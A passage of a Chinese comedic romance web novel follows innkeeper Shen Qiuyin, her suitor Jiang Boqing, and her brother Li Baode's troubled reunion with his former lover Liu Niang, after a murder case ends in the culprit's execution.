他定睛一看,这哪里是钟馗捉小鬼的道观,分明是大理寺的公堂,而所谓阎王乃是大理寺少卿姜泊清,黑白无常、马面则是衙役所扮,牛头竟是自己的好友。
他恍然大悟,难怪久不见的人会突然从某个角落出来,又是约他赌钱,又是喝酒的,这分明就是和官府串通好了,故意将他引来这儿。
所以……他杀林小娘子之事……
纸终究包不住火,李青成一下子丧失所有力气,烂成一团,面如死灰。
而林婆子噙着泪,朝上首的姜泊清一边磕头,一边饱含恨意道:“还请大人,严惩杀人凶手,为小女偿命。”
姜泊清瞧着瘫在地上的李青成,示意衙役将他架起来,规规矩矩跪好。
他一字一句念出李青成所触犯了的西崤律,最后数罪并罚,天亮之后,即刻于菜场施以斩首之刑。
音落,李青成便晕了过去。
数点天光洒下,浓云卷曲浮动,不过一瞬,消散不见,刽子手高举砍头大刀,遮挡了光,阴影落在李青成的眼上。
刑场下,百姓驻足围观,窃窃私语不停,都在说他人面兽心,杀妻偷钱。
李青成混身都在抖,他想求饶,刚要张嘴时,刽子手的大刀落下,喷出满地的血。
人人拍手称好。
而此刻的沈秋吟在院中的桂花树下摆了一张小桌,桌上有诸多美食,都是林婆子家乡淮扬的特色菜。
今天早晨,林婆子扣开了百膳楼的大门,找到沈秋吟说:“掌柜的,能给我做一桌淮扬菜吗?我家囡囡爱吃。从前……”
她说起从前种种,沈秋吟想也没想,当即应了下来,便也有了院中一幕,沈秋吟上着菜,林婆子喋喋不休的说着,而她偶尔应上几句,更多时候是听她说。
说到动情时,她哽咽起来,沈秋吟想要安慰几句,却也无从下手。
林婆子晓得自己失态了,抹干眼泪,与她说:“我话多了,扰了沈掌柜了。”
“没有没有,您别这样说。”
她不觉得打扰,只怕她憋着,憋坏了。这种时候,人话不多,才是有问题。
“您真善心,”她笑一下,拿出一个匣子推给沈秋吟,“姜大人都给我说了,这次多谢沈掌柜让小女沉冤得雪。这里是我走南闯北买的一些稀奇玩意儿,我这老婆子用不上,送给你了。”
“这……”沈秋吟不肯要,将匣子推了回去,“心意领了,这礼,我受之有愧。”
林婆子不愿,坚持着要她收,僵持了好一会儿,沈秋吟拗不过林婆子,收下了匣子。
菜上齐后,沈秋吟不再打扰,留她一个人在院中,吃着那一桌饭。
桌上有一坛酒,林婆子打开,倒了两杯,其中一杯倒在了地上。
她轻轻言,像是在话家常,“囡囡,你总说离开家乡,就吃不到正宗的淮扬菜了,但今日沈掌柜做的这一桌菜,娘尝过,是家乡的味道,你多尝尝……”
音落的那刻,好似林小娘子真的听见了,起了一阵大风。
这风却不并狂妄,只是吹动了树叶,发出沙沙沙的响声,仿佛在做回应。
风过后,桌上的那盘什锦饼落在了地上。
林婆子再也忍不住情绪,掩面哭起来了,一声声叫着林小娘子的小名,“囡囡……”
她好想她的囡囡回来呀。
好想好想。
不远处看着的章丘似也受这场面感染,红了几分眼眶,情绪有些低:“最怕白发人送黑发人……”
在场的人止不住叹气。
后来,林婆子离开了濮阳,回家乡去了。
临走时,沈秋吟去送了送。
彼时夕阳欲坠,晚霞染红半边天,她看着林婆子远去的身影,一切尘埃落定。
回去的路上,沉默了几天的系统突然冒泡,“检测到宿主完成任务,奖励积分一千,请宿主再接再厉,再创辉煌。”
沈秋吟低落的心情立马高涨,“创你个大头鬼,没有下次了!”
这样的事儿,只可一次,不可两次。
系统“哎呀”一声,像是给她洗脑似的,“你不觉得很有成就感吗?既帮助了别人,又立下了大功,所以不应该继续吗?”
“我谢谢你,”沈秋吟拒绝它的言语蛊惑,“专业的事交给专业的人干。”
言外之意,她只想好好经营酒楼,做饭、烧菜,容易丧命的事儿,还是交给别人吧。
“有些时候编外人员的加入也能添光增彩嘛。”系统反驳道。
“不不不,”沈秋吟否认,“只会暴露的更快!”
“暴露啥?”系统不明白。
沈秋吟说:“暴露你呀!”
譬如这次,姜泊清但凡对她为什么去百花胡同的事儿追问到底,沈秋吟保不齐就露馅了,实在是姜大人那双眼睛太锐利了,仿佛可以看穿人心中事。
“额……你还好意思说,你就不能镇定点嘛!”
“我……你!”
接下来一人一统为谁对谁错挣了起来,扯到最后,又扯出了姜泊清,最后他们竟然一致认为是姜泊清的错,谁让他生得太聪明了,要是笨一点,指定不会刨根问底。
“说起他……我想起一件事儿?”沈秋吟忽然转了话题。
“什么事儿?”系统问。
她说:“我立了大功去找姜泊清讨个赏银,不算过分吧?”
没有功劳,也有苦劳。她反正觉得很有必要。
系统“切”了一声,“你方才还说专业的事儿要交给专业的人干,现今去找他要赏银,不觉得打脸吗?”
“不觉得,”她说得那才叫一个理直气壮,“银子的事儿怎么能算打脸呢!”
系统没话说。
沈秋吟立马掉头往大理寺的方向去,刚走几步,就撞上了往百膳楼来的姜泊清。
她堆满笑容,心想着这个赶巧了,连忙迎上去,“正要去找你呢,没想你自个儿来了。”
姜泊清自然而然地握住她的手,低头问:“找我?找我做什么?”
不怕心上的姑娘发脾气,就怕心上的姑娘笑。
姜泊清看着她那笑有些发怵,把近来发生的事都在脑中过了一遍,愣是没想到哪里惹到她了,能让她笑成这样。
沈秋吟甩开他的大手,两只纤纤细手摊在他眼前,笑言:“自然是讨赏了。”
“我可是听说了,你破了此案,大理寺卿特的为你向圣上讨了赏,我是不是也该分一点光?”
“分光?”姜泊清明白了,不过,心下起了几分坏心思,想要逗一逗她,故作不知问:“你分什么光?这赏又从哪里来?”
沈秋吟打了他一下,“少揣着明白装糊涂。”
赏嘛,自然从他姜大人哪里来呀!她要求不高,就小小一块儿银子就行,就当对她如此努力,积极帮忙的认可了。
姜泊清握住打他的那只手,白皙、滑嫩,如一块暖玉一般,忍不住一边摩挲,一边接着逗她:“我什么时候明白,又什么时候糊涂了?”
这人!千年的狐狸,谈聊斋!好过分!
沈秋吟有些恼了,两弯柳
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眉蹙起,嘴也嘟囔着。
姜泊清看着她,翘起了嘴角,他最爱看她恼起来的样子,就像一只爆炸的小猫。
她轻哼一声,又打了一下,姜泊清将她另一只手也握住,瞅她的眼神暧昧:“小娘子,你得说明白点,不然我可不懂。”
简简单单的一句话,沈秋吟硬是听出了几分调戏的意味,她不禁红了脸,摆脱他的手,“我不要了!”
枉她又是练功夫,又是破法阵,又是安排好戏!
沈秋吟越想越气,瞥了他一眼,转身不理他。
姜泊清害怕玩脱了,真把人弄生气了,赶忙把人拉住:“有的,有的,别气,刚才逗你玩的。”
“我不。就要气。”沈秋吟与他唱反调。
她得告诉他女人心,深得很,可不是一两句话就能哄好的。
姜泊清一笑,握着她的肩把人转过来,掏出一只玉镯子,戴在她手上。
“还气吗?”他轻声问。
沈秋吟抬起手,阳光下玉镯子晶莹剔透,一点杂质也看不见,乍一看,那绿仿佛活起来,如水一般流动。
上等的帝王绿,价值连城,沈秋吟抬着自己的手,不敢动一下,生怕碎了。
“这……这也太贵重了……”她话都说不顺,“我并非这个意思。”
说着,她就要脱下来还给姜泊清。
“别摘,”姜泊清制止住她,“送你的,多贵重都不算贵重。再说,这是我娘亲留下的。”
娘亲留下的?
纵使沈秋吟再迟钝,也明白了。
刚刚消失的绯红又悄然爬上了脸颊,姜泊清瞧着她的脸,笑道:“害羞了?”
“才没有。”她不肯承认。
“是是是。”姜泊清不拆穿她,只是笑盈盈地瞧着她,似怎么也看不够似的。
“你别笑。”
她虽说着,可目光没移开一丝,玉面郎君难得笑的眉眼弯弯,她舍不得不看。
姜泊清见她这副痴迷样,笑意更盛,就如那勾栏里的俊俏郎倌靠一张脸勾搭着小娘子。
他这一笑,沈秋吟连眼都不眨了,一动不动瞧着,似怎么也瞧不够。
“我好看吗?”他故意压低了声音,似蛊惑。
沈秋吟没受住,魂都给他勾没了,止不住点头,“好看好看。”
“那阿吟把我娶回家可好?”
“好呀好呀!”这般俊美的郎君,铁定是要娶回家,好好藏起来,只她一人看。
“就这么娶太不重视了,阿吟难道不该给我聘礼吗?我要求不高,一台金子就行!”
一台……金子!
沈秋吟的脸瞬间沉下,速度之快,可称变脸。
“那也不是非娶不可!”
姜泊清敲了一下她的额头,“财迷!”
“人不为财,天诛地灭!”沈秋吟说得理直气壮。
“那我娶你!”
“也不是不行。我要求更不高,姜大人只须给我准备十台金子就行!”
一想到那画面,她就想流口水!
“金子到是没有,不过赏赐到有几台,就在家中,不知这位姑娘愿不愿去看。”
“家?你家?”沈秋吟惊了惊。
姜泊清说:“百膳楼。赏赐一下来,我就让师傅直接送你哪儿去了。”
“哦。”沈秋吟莫明松了一口气。
姜泊清这时却揽住她的腰,往前一带,她跌在他的怀中。
他下头,拉近了与她的距离,深邃的目光不见底,像要把她吸进去。
沈秋吟想往后退一退,姜泊清不放,俯身在她耳畔低声说:“阿吟若想回我家也是可以的。”
63. 白月光登场
转眼就是清明,细雨菲菲,一派春意,百膳楼为了应景,推出了各种口味的青团,初时无人在意,而当第一个人咬下第一口时,一切都发生了变化——
“我从没吃过这么好吃的青团,仿佛见到了春天!”
有这么夸张?
路过的人抱着试一试的态度,买了几个,这一吃,不得了,个个都疯了。
于是乎,百膳楼被围了,水泄不通,小二们除了上青团,还要维持秩序,忙得脚不沾地,后院更是忙的起火,蒸笼都坏了几个,水淋淋的摆在空地上,当作战利品。
陆昭明得了消息,一休息就拉着姜泊清去百膳楼,想借他的脸插个队。
那曾想章丘直接拿出两条襜衣给他们,笑嘻嘻说:“掌柜的吩咐,人手不够,请姜大人和陆大人帮个忙,事后青团管够。”
“这……”陆昭明不肯接,“要我当小二,我的面子往哪里搁?”
姜泊清倒是不在乎,接过来,一边系,一边问他:“那你想吃青团吗?”
陆昭明纠结,青团肯定是想吃的,活是肯定不想干的。
可是,管够也……
章丘仿佛看穿了他的心思,笑眯眯重复方才的最后一句话:“事后青团管够哦!”
“接!必须接!”冲着这句话,陆昭明干劲儿是足,拿起襜衣就往身捆。
二人在章丘的带领下很快上了手,端着托盘在后院和前堂来回打转。
客人初初看到他们,紧张地站都站不稳,忙陪笑,甚至要拉着他们上座。
直到姜泊清和陆昭明郑重表示今儿个是跑堂,就只是跑堂,那些人才放下心来。
本想着多两个人帮忙活儿会轻松许多,哪曾想不但没缓解压力,反而出了大事。
这城里人都有个凑热闹的毛病,一听大理寺两个少卿在百膳楼做上了小二,稀奇得很,纷纷往百膳楼去,渐渐的,将一条长安街都堵上了。
陆昭明看着那望不到尽头的队伍,两眼一黑,颤巍巍说:“这也……太夸张了吧!”
不就是青团吗?不至于八辈子没吃过,排成这样吧!
路过的章丘也瞪大了眼睛,“确……确实有点夸张了……”
他甚至怀疑那乌泱泱的不是人,而是一团团黑点点,看的他头都晕了。
他后面的小二被吓的差点端不稳托盘,“莫非……李员外又给咱宣传上了?”
别说,上回出现这样的盛景,还真是李保德到处宣扬引来的。
他时至今日都记得,那群公子哥儿把钱不当钱的画面。
“快去问问!”另一名小二说。
在这样下去,屋顶都得被掀翻了。
章丘立马跑去后院,对正揉着面团的沈秋吟道:“掌……掌……掌柜的,大事不好了!”
沈秋吟整个人一激灵,捂着自己小心脏道:“你……你可闭嘴吧!”
她算是发现了,每每章丘开口说这话,准没一件好事儿,再这样下去,她会想死的。
“我也想闭嘴……只是,你到前头去看看吧!”章丘急道。
若不是太平盛世,他们都以为闹饥荒了!
那画面,简直了!
“我……能不去吗?”沈秋吟整颗心都悬了起来。
倘若是注定避不开的祸事,那她可以从根源解决问题吗?只有她不出面,那就是什么也不知道。
“我劝您最好去看一下!”章丘十分认真道。
沈秋吟晓得自己避不掉,解了襜依大步向前,一副赴死的模样。
章丘瞧着那背影,不禁念起:“风萧萧兮易水寒,壮士一去兮不复还……”
哪曾想沈秋吟一个转头,一巴掌拍他脑门上:“你才不复还呢!”
祸害,就没有短命这一说法!
“哦莫!”章丘捂着被打的地方。
到前堂,只见门外的摩肩接踵,看不到一点缝隙,铆足了劲往想冲进来,而一众小二连成排,围成墙,使出了吃饭的劲儿,不让他们往里来。
沈秋吟被这场面吓了一跳。
“这……这是……六大门派围攻光明顶?”
好大的阵仗!
咱就说为两青团至于吗?
饿死鬼转世,还是饿死鬼附身?
同样被拉去堵人的陆昭明转过头,吃力地对沈秋吟道:“别站着了,快想办法,坚持不住了,都是来买青团的,他们像饿疯了一样!”
沈秋吟欲哭无泪,看了一眼他,又看一眼姜泊清:“你两当官的都不管用,我能想出啥办法!”
又不是神仙?哪会乾坤大挪移呀!
“不会咱可以学呀!”系统出声道。
沈秋吟如赶苍蝇一般道:“去去去,别来捣乱。”
她现在正绞尽脑汁呢!
章丘此时说:“我们怀疑是李员外又给咱宣传了!”
便宜哥?
“不是他!”沈秋吟说得很笃定
“为啥!”章丘不理解。
沈秋吟淡淡地睇了一眼人群:“没看见我那哥自个儿也被堵门外了吗?”
章丘顺着她方才看的地方一瞧,一个穿锦缎,束冠,略胖的男人被挤得脸都变形了,不正是李保德吗?
就在沈秋吟束手无策之及,人群里突然出现一道娇滴滴的声音——
“保德,你如果不接受我,我就不活了,死在你面前!”
沸腾的人群就这么突地静了下去,众人很有默契的往后退,露出一块儿空地给当事人,而后看天看地竖耳朵。
沈秋吟则是默默前进了好几步,借这姜泊清开路,走到了最前面,一线吃瓜的好位置。
“要不要贴他两身上听?”
姜泊清看着还在往前走的沈秋吟,笑眯道。
沈秋吟反应过来后,讪讪地笑道:“光看戏去了,没注意。”
她退到姜泊清身后,直勾勾看着说话的姑娘。
这姑娘穿一身白衣,手捻着一张绣花的帕子,柔顺的秀发只有用一根银簪子挽着,而鬓边散着两缕碎发,一副我见犹怜的样子,任谁看了都心软,恨不得掏心掏肺地哄。
而她哥李保德呢,居然冷着一张脸,不带丝毫感情道:“那你去死吧!”
听听,这是能对姑娘说的话吗?
果然,就见那姑娘圆圆的眼睛里立马蓄满了泪水,要哭不哭的样子,肝肠寸断道:“你当真这么绝情吗?”
“我不是绝情,我是水泥封心,根本没有情!”
“胡说,”姑娘抹了抹眼泪,“你分明对我有情,这么多年了,你还带着我送你的玉板子!”
李保德笑了,举起自己的手,“你看清楚,不是我想带,是老子长胖了,卡住了,取不下来。”
说着,李保德还使出了全身力气去取大拇指上的板子,然后就见一圈肥肥的肉,把它卡的死死的。
“那你为什么不减肥,”姑娘质问,又像是为他找借口一样,“你肯定是还爱我,所以才舍不得。”
额……
静默了一瞬,李保德有些无语讲:
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“你清醒一点吧!”
他忍着脾气说:“不是我不减!而是我根本减不下来,你知不知道我妹子天天给我做多少好吃的!那味道,直冲天灵盖,我减个锤子。”
连蜀地话都冒出来了,可见是真好吃。
一旁看得正起劲的沈秋吟突然成了众矢之地,大家的目光都落在她身上,带着些许杀意。
有人嘀嘀咕咕道:“我因为天天吃百膳楼胖了十斤。”
有人附和道:“我胖了二十斤。”
众人异口同声道:“都怪沈掌柜!”
怪我!
沈秋吟直呼冤枉,你们自己管不住,管她屁事。
不过,这些都还好说,就是姜泊清的眼神……
沈秋吟竖起四根手指朝天,眨巴眨巴眼,讨好道:“我发誓,我绝对没有天天给他做饭,你信吗?”
他只是拖着他试毒而已。
因为不想霍霍了姜泊清。
姜泊清冷哼一声不说话,似笑非笑FE看着她,沈秋吟头皮发麻,后背发凉,赶忙抱着他的手臂撒娇哄人。
眼见着姜泊清要被哄好了,李保德突然吵她走来,伸手握着她的手腕,把她扯到了人群中央。
丝毫没准备的沈秋吟有一万只马儿在嘴边奔腾,但良好的教养让她忍住了,略带怒气道:“哥,你要搞那样。”
李保德连个眼神也没给她,对着那还在哭哭蹄蹄的姑娘说:“对!我就是喜欢上我妹子了,对她求而不得,所以才不与你破镜重圆的!”
我去!好劲爆的发言。
在场的人倒吸了一口凉气,看向了姜泊清。
姜泊清一声冷笑,看着沈秋吟。
沈秋吟人都傻了,良久才道:“哥,你究竟闹哪一出?”
她绝对不相信李保德喜欢她,绝对是有隐情。
只是李保德的注意力全在姑娘身上,没听见沈秋吟说话,还与姑娘喋喋不休的说着。
姑娘不相信,捂住了耳朵,撒泼道:“我不听,我不听,你只要我不听,我就什么都不知道。”
沈秋吟的视线落在她身上,嘴角直抽搐,这又是什么品种的瓜?冬瓜、南瓜、傻瓜?
大哥大姐,你们究竟搞什么?
难道是……沈秋吟心里冒出了个念头,悄悄往李保德身边挪了几步,小声说:“哥,你要为我吸引火力,也不至于弄这么炸裂吧!”
这回李保德听到了,一副很不想承认,但又不得不承认的样子与她说:“她就是我那白月光!”
一瞬间,沈秋吟张大了嘴,看一眼他,又看一眼那姑娘。
好戏!好大一出戏!真真是好一出戏!
她差点就要拍手了。
而这时,姜泊清走了出来,一把拉过沈秋吟,揽住她的腰道:“咱们家阿吟真是受欢迎呀!”
他虽说着夸奖的话,但那眼神简直要杀人。
沈秋吟赶忙哄道:“纵使弱水三千,但我心里只有你一个,除了你,我谁也看不上,你就是我的宝贝甜蜜饯!”
姜泊清“哼”一声,显然没有那么容易哄好。
沈秋吟又说了许多好话。
而那姑娘忽然停止了哭泣,抬头看了过来,李保德深怕露馅,一个箭步插到了姜泊清与沈秋吟中间,情急之下竟然说:“咱三把日子过好,比什么都好!”
姜泊清和沈秋吟同时瞪大了眼睛,不可置信地看着他。
在场的人惊讶的说不出话,心间只有一个念头——
这么炸裂的吗?
64. 往事
“帮帮忙,帮帮忙,求求你俩了!”李保德盯着那姑娘,蠕动着嘴,用只有他们两个人能听见的声音说。
前尘旧事,该过的早应过了,他实在不想再被缠上,只想解决了这出麻烦事。
沈秋吟动了动嘴,正要说话,姜泊清抢先一步道:“好说,一箱金子!”
“一箱金子!”
沈秋吟和李保德同时出了声,一个眨巴眨巴眼,合计着一箱金子能有多闪,一个惊地瞪大了眼睛。
缓了好一阵,李保德才说:“兄弟,见过狮子大开口的,没见过你这样的!”
一箱金子!
他也不嫌重,把他给压扁了!
“是吗?那这忙……”姜泊清故作为难的样子。
李保德扭头看向沈秋吟,可怜兮兮说:“你不管管,由着你男人这么坑你哥?”
沈秋吟动动了嘴,刚要说话,姜泊清的目光就落在了她的身上,似笑非笑。
她无端的后背发凉,头皮发麻。
沈秋吟缩了缩脖子,给了李保德一个自求多福的眼神,撇过头去,绝情道:“哥,咱就是说,这忙不是我不帮,而是真的帮不了呀!”
她敢肯定,她若是敢帮李保德说话,下一秒姜泊清就会要了她的狗命。
吃醋的男人当真是惹不得。
这时,一直瞧着他们的姑娘哭哭啼啼道:“保德,你不能因为气我而弃名誉不顾呀!”
本还犹豫着的李保德在她开口后,再没有丝毫犹豫,果断应下了姜泊清的要求。
一箱金子解决眼前人,他觉得值!
姜泊清得了他的应承,瞬间变了脸,反手握住李保德的手,含笑看着不远处的姑娘:“是啊,咱三把日子过好,比什么都重要。”
这个世界终究是癫狂了。
姜泊清为财折腰,李保德对沈秋吟求而不得,三个人竟然要好好过日子。
这丫的真是惊世骇俗!
但有脑子的都清楚,这不过是李保德拒绝姑娘的借口,情愿赔上自个儿的名誉,也不要与她再有任何牵连。
看戏的人看得出来,姑娘自然也看得出来,所以她的脸色由白转青,由青转红,像是被气得不轻。
李保德叹了一口气,有些心软道:“柳娘,你别纠缠我了,从前的事,我们都不要再提了,以后,你走你的阳关道,我过我的独木桥,可好?”
“不好!”
柳娘情绪激动,走上前来,握紧了李保德的衣袖,姜泊清和沈秋吟很有眼力见地往两边闪。
李保德皱起了眉头,甩一甩衣袖想要拂开她,可柳娘握得太紧了,他没拂动。
她眼泪汪汪地看着李保德:“你从前那样爱我,要我如何才能放下。”
从前种种走马观花在眼前重现,李保德的眼眶逐渐红润起来,鼻子也微酸。
“是啊!从前的我那样爱你,可你带给我的是什么?”他看着眼前泣不成声的人,质问道。
柳娘擦着泪,久久没有说话,默了好一会儿,只道:“对不起……”
“可是有些伤害不是一句对不起就能弥补的,”他捏住了柳娘的手,迫使她松开,苦口婆心道,“柳娘,我在说最后一遍,不要再缠着我了,我们绝无可能!”
柳娘受不住他的话,瞬间失了力气,跌倒在地。
不知情的人说着李保德太残忍了,对一个如花似月,又对他用情至深的姑娘也能如此绝情,可知情者又觉得李保德还是心太软了。
这场闹剧最终以柳娘黯然离开作为结尾。
她一走,也没热闹可看了,众人嘀嘀咕咕散了去,倒是百膳楼因祸得福解了被围之困。
沈秋吟高兴了,姜泊清也高兴,陆昭明更是笑得合不拢嘴,像只花蝴蝶一样,一溜烟跑到了后院,吃起了青团。
而不高兴的只有李保德一人,他丧着一张脸,不说话,双目失神走进楼里,寻了一处空位,静静坐着,活像失了魂。
到底是叫他一声哥,见他这般样子,沈秋吟也不好受,问姜泊清:“你知道原委吗?”
总要晓得前因后果,才能找对法子开解。
姜泊清摇头。
他也不知。
章丘这时凑到沈秋吟身边道:“掌柜的,我隐隐听人提起过,是那姑娘把李员外绿了……”
“啊——”
沈秋吟不可置信,姜泊清也是一愣。
倘若真是这般,那她哥属实是有点惨。
“去安慰安慰吧。”姜泊清提议道。
沈秋吟转头看他,“你不醋吗?”
“方才闹着玩的,”姜泊清摸摸她的头,“阿吟,我们家阿吟这么优秀,没人惦记,才是有问题。再说,他那是情急之下的胡言乱语,我怎么会听不出来呢。”
沈秋吟笑起来,握住他的手:“咱们一块儿去。”
主要是她不知道该说啥!
哭!
沈秋吟和姜泊清坐在了李保德对面,章丘很有眼力劲儿的上了一坛酒。
李保德二话不说,揭开封层,就是喝。
酒过三巡后,两行清泪从眼中滑落,他掩面哭泣。
古语有男儿有泪不轻弹,这是伤得有多深,才会如此呀!
沈秋吟心疼起来,斟酌了一下话术后说:“哥,百膳楼里有一位常来的食客,在打听适龄的男子,要不我介绍你们认识认识?”
重新进入一段心得感情,说不定有消。
音落,沈秋吟便受到了李保德一剂横眼,她慌忙改正道:“不介绍也行!”
李保德抿起嘴,想笑,笑不出来,最后叹息道:“妹子!你正常点,你哥没那么脆弱!”
“行吧!”
沈秋吟闭上了嘴。
李保德拉着姜泊清继续喝酒,几杯之后,打了个酒隔。
他拍了拍姜泊清的肩:“妹夫,今日之事,是我鲁莽了。你放心,我绝没有觑见我妹子之心,只是当时那种情况下,不得已而为之,你莫生气。”
姜泊清拿起酒杯与他碰了一下,一口饮尽,“我没气。我们家阿吟心里只有,我气啥?”
说着,他朝沈秋吟露出笑来,一双眸子里,全是她的影子,一看就爱得深沉。
“是啊!我妹子一心只有你,”李保德不知怎的,又哭了起来,“这样的爱情为啥我就不配拥有?”
他擦着泪:“你知道我从前对她有多好吗?”
沈秋吟微微摇头,“这还真不知道。”
李保德饮下一杯酒,谈起了往事。
故事的开端是这样的。
那时候李保德还是初出茅庐的穷小子,莫说吃饱饭了,有饭吃都是困难。
而柳娘是琴楼卖艺不卖身的才女,不光相貌上乘,更弹得一手好琵琶,令人听之如临其境。
一次偶然的机会,李保德在一座寺庙里见到了祈福的柳娘,她那时穿一身粉嫩的衣裳,如三月的桃花一样娇嫩,他看的出神,连眨眼都忘了,当时就在想,若能娶她为妻,便是叫他现在去死,也无憾。
只是,当时的李保德什么都没有,他只能把这个愿望默默放在心里。
直到那一次,上巳节商人的马受惊,横冲直撞,伤了路上
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的行人,差点要撞到柳娘时,李保德驯服了马,救了她一命。
柳娘为了感激他,在琴楼设宴,邀他前去。
他欣喜若狂,狠下心买了一套得体的衣裳前去赴宴。
几杯酒下肚后,柳娘含羞带怯说注意他好久了。
李保德忐忐忑忑,既想将心里话说出来,又害怕唐突了姑娘,再加上他那时的处境,终是忍了下来。
柳娘没得回应,眼眶泛红,拿着手帕掩面道:“你不喜欢我吗?”
喜欢,当然喜欢,只是那时的他说不出口。
柳娘哭了起来,李保德心乱如麻,留下“等我”二字,出了琴楼。
那晚的他,醉得深沉,但也暗自下定了决心要挣下万贯家财,娶柳娘,于是他就走上了经商这条路。
皇天不负有心人,一年后李保德靠着自己的慧眼当真小有所成。
他把所有家当都给了柳娘,对她说:“我总觉得还不够,我想让你过得更好,你在等我一下好不好?”
柳娘收了那些东西,点头应下。
又一年,李保德终于成了富甲一方的员外郎,这一次他来琴楼,金银珠宝如水一般送到柳娘的房中,他终于说出了当时的愿望,娶她。
柳娘没有丝毫犹豫应了下来。
李保德得偿所愿,大喜过望,当日便找到了琴楼的老板,替柳娘赎了身,并为她置办了一处宅子,请媒人上门提亲。
柳娘一口应下,可到了婚期,她却卷走了李保德送她的所有钱财,跑了。
原来她早已变心,爱上了一个读书的秀才,只应舍不得李保德送她的金银珠宝,所以才假装应下。
她本也想嫁给他做富太太的,可是舍不得秀才,终是抵不住他的甜言蜜语,最终选择了和他走。
濮阳虽大,但经不住人传人,一时间李保德成了笑话。
“其实,过了许多年后,她这个人我早就忘了,那些事我也不计较了,可是,她又回来了……”
时隔多年后,还是在同一座寺庙,他再次见到了柳娘。
那时候的她憔悴不堪,从前白皙的手粗糙不堪,拉着他不放手,仿佛一根救命稻草,李保德不愿与她有纠缠,掰开她的手,头也不回离去。
但终是放不下心,派人去打探了一番,他这才知晓,柳娘一心追随的那个秀才变了心,抛弃了她,她身无分文,一路乞讨回了濮阳,因着庙里的住持心善,留下了她,让她赚些辛苦钱。
到底是曾经爱过的人,李保德动了恻隐之心,派人送了些许钱财救济,可柳娘却赖上了他,三番五次堵住他,要与他再续前缘,赶也赶不走,这便也有了百膳楼前的一幕。
沈秋吟与姜泊清听完,不知该如何说,李保德自嘲一笑:“我是不是太傻了?”
若不送救济之财,或许就没有后来的这么多事儿。
姜泊清道:“不傻!你有一颗善心。”
沈秋吟点头,赞同他的说法。
李保德擦干眼中的泪:“我这一生,就爱过她一个人……”
可是,可是结局太惨淡了。
那天晚上,李保德喝的烂醉,姜泊清送他回家,沈秋吟在一旁举灯。
回来的路上,她害怕姜泊清听了李保德的故事,深有同感,拉着他的手表忠心,极认真说:“姜泊清,我绝不负你。”
真心永远不允许被践踏,爱一个人,就要全身心的爱他,而不是故作喜欢,图谋其他。
姜泊清一笑:“傻姑娘,我不是那样的人。”
他轻轻地捏了捏她的脸,温柔地说:“我也绝不负你。”
65. 被绑
天光方亮,晨曦金黄,朝霞映红半边天,云则变幻着各种模样。
长安街上,小贩的吆喝声打破了清晨的宁静,极具穿透里的声音将沈秋吟从睡梦中唤醒。
她洗漱一番后来到后院,正要围上襜衣做早点时,一个小二急匆匆跑了进来,满脸慌张。
这是出什么大事儿了?
沈秋吟没来由地忐忑起来,围襜衣的手停在了半空。
小二拍了拍胸脯,喘了口气,忙道:“掌柜的,柳娘又来了!”
“啥!又来!”沈秋吟一副天塌了的样子,取下襜衣扔在案板上,急得来回踱步。
还真是大事儿!
自从上回李保德与柳娘在百膳楼前闹了之后,那柳娘不晓得怎么回事,不去缠着李保德了,反而常来找沈秋吟,话里话外都是要她帮忙的意思。
沈秋吟不想掺和这些事,每回都是和稀泥,糊弄过去。
柳娘到是锲而不舍,明晓得她不会帮忙,还是日日都来,活像添堵似的。
有一回,沈秋吟忍不住了,阴阳怪气了她一次,哪曾想这女人不但不生气,反过来伏低做小般哄她,还说着什么再也不会做哪些错事,反而把她整得没话语了。
那次之后,倒是消停了几天,可没几天,她又来了,就坐在哪儿,和平成顾客没什么两样,赶她吧,坏了自个儿名声,不赶她吧,又膈应人,就像存心气人一样,搞得她脑壳大。
她正想着办法时,又一个小二来了,着急忙慌说:“掌柜的,柳娘进来了。”
沈秋吟烦躁起来,锁着眉头道:“快快快,说我不在。”
这是她目前唯一能想出来的法子。
“可是……来不及了。”他讲。
音方落,柳娘的声音便从门口传来,“沈妹妹,你是厌烦我吗?要这般躲我。”
“厌不厌烦你不知?”她如今实在给不了这女人好脸色,明明做错事的人是她,偏搞得自个儿可怜兮兮的,简直是高段位绿茶,恶心极了。
丫的,真想一把掐死她。
她自认为脸皮超厚,堪比城墙,但遇见柳娘后,她算是晓得了人外有人,天外有天。
柳娘听了,垂下头,拿手帕擦眼眶,尖着嗓子说:“我晓得自己不受待见,妹妹厌烦我,是应当的。”
娇滴滴的声音令沈秋吟不适,她摸了摸自己的双臂,鸡皮疙瘩掉一地,极无语道:“你有病吗?哭个啥,都是千年的狐狸,玩什么聊斋!”
麻蛋,实在受不了,好想凑她一顿,扔出百膳楼楼。
柳娘仿若未闻,还兀自哭着。
一团火漫过心头,冲向脑门,沈秋吟的拳头硬了,正要火力全开,对柳娘大开杀戒之时,眼前人突然走上前,拉住了她的手。
妈耶!这又是要做啥?
沈秋吟往后移了移,拉开距离,冷眼瞧着她,看她又要做什么妖。
只听她说:“这么多日我也想明白了,晓得与保德之间再没可能,其实今日来,不为其他,只是想约妹妹去游湖,弥补一番多日打扰的罪过……”
说着,她又用手帕擦了一下眼眶,“望妹妹在今晚酉时定要来城南桥头赴宴,以减轻我的罪过。”
她这番话,到让沈秋吟六神无主起来,一双好看的眼眸不停地眨,似受了惊吓。
这是转性了?
还是当真大彻大悟了?
不不不,这不符合柳娘的人设,太反常了,实在是太反常了。
柳娘看着她,惯常的可怜模样,“妹妹不说话,可是怪我?”
她又哭了起来,拿起帕子掩面,沈秋吟没说话,就那么盯着她,静待她的下文。
久了之后,柳娘晓得哭对她没用,吸了吸鼻子,带着一股狠劲儿道:“若妹妹今晚不来,我第二日便撞死在百膳楼。”
扔下这句话,她没给沈秋吟一丝反应的机会,跑着出了百膳楼。
沈秋吟气得直跺脚,啊,真丫的抓狂!
哭得她头都大了!
经此一事,沈秋吟没有了做早点心情,一屁股坐在桂花树下的躺椅上,捂着脸说:“造孽呀!”
“确实是造孽,”系统不光没有安慰,甚至落井下石,“谁让你要多管闲事的。她第一回来,你就将她赶走,她自然不会来了。”
提起这事儿,她就悔恨不已,只是:“对姑娘我下不去手。”
她不愿为难女子。
女子本就不易,而女子为难女子,总是不太好的。
“所以你心不狠,就只能活该受她威胁!”
唉……
沈秋吟头疼,没甚力气道:“你闭嘴吧!”
系统知她烦,也不敢反骨了,一溜烟下了线。
临近傍晚,李保德踏进百膳楼,就见沈秋吟在柜台后,撑着头唉声叹气,一副烦到极点的样子。
他走过去,用扇子敲了敲桌面,沈秋吟抬起头看他,他道:“这是怎么了?”
“你惹的好事呀!”她没好气道。
“我?”
